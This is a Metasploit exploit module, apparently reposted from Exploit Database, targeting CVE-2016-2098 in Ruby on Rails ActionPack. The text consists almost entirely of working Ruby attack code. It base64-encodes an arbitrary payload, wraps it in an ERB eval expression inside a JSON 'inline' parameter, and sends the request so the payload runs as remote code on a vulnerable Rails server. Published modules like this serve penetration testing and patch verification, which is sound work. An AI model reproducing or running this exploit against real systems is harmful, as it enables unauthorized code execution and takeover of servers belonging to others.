Ruby on Rails ActionPack Inline ERB – Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2016-07-11
• 类别：

  • remote
  平台：

  • ruby
• 来源：https://www.exploit-db.com/exploits/40086/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution',
  'Description'=> %q{
  This module exploits a remote code execution vulnerability in the
  inline request processor of the Ruby on Rails ActionPack component.
  This vulnerability allows an attacker to process ERB to the inline
  JSON processor, which is then rendered, permitting full RCE within
  the runtime, without logging an error condition.
  },
  'Author' =>
  [
  'RageLtMan <rageltman[at]sempervictus>'
  ],
  'License'=> MSF_LICENSE,
  'References'=>
  [
  [ 'CVE', '2016-2098' ]
  ],
  'Platform' => 'ruby',
  'Arch' => ARCH_RUBY,
  'Privileged' => false,
  'Targets'=>	[ ['Automatic', {} ] ],
  'DisclosureDate' => 'Mar 1 2016',
  'DefaultOptions' => {
  "PrependFork" => true
  },
  'DefaultTarget' => 0))
  
  register_options(
  [
  Opt::RPORT(80),
  OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
  OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
  ], self.class)
  
  end
  
  def json_request
  code = Rex::Text.encode_base64(payload.encoded)
  return {
  datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
  }.to_json
  end
  
  def exploit
  print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
  send_request_cgi({
  'uri' => normalize_uri(target_uri.path),
  'method'=> 'GET',
  'ctype' => 'application/json',
  'headers' => {
  'Accept' => 'application/json'
  },
  'data'=> json_request
  }, 25)
  end
  end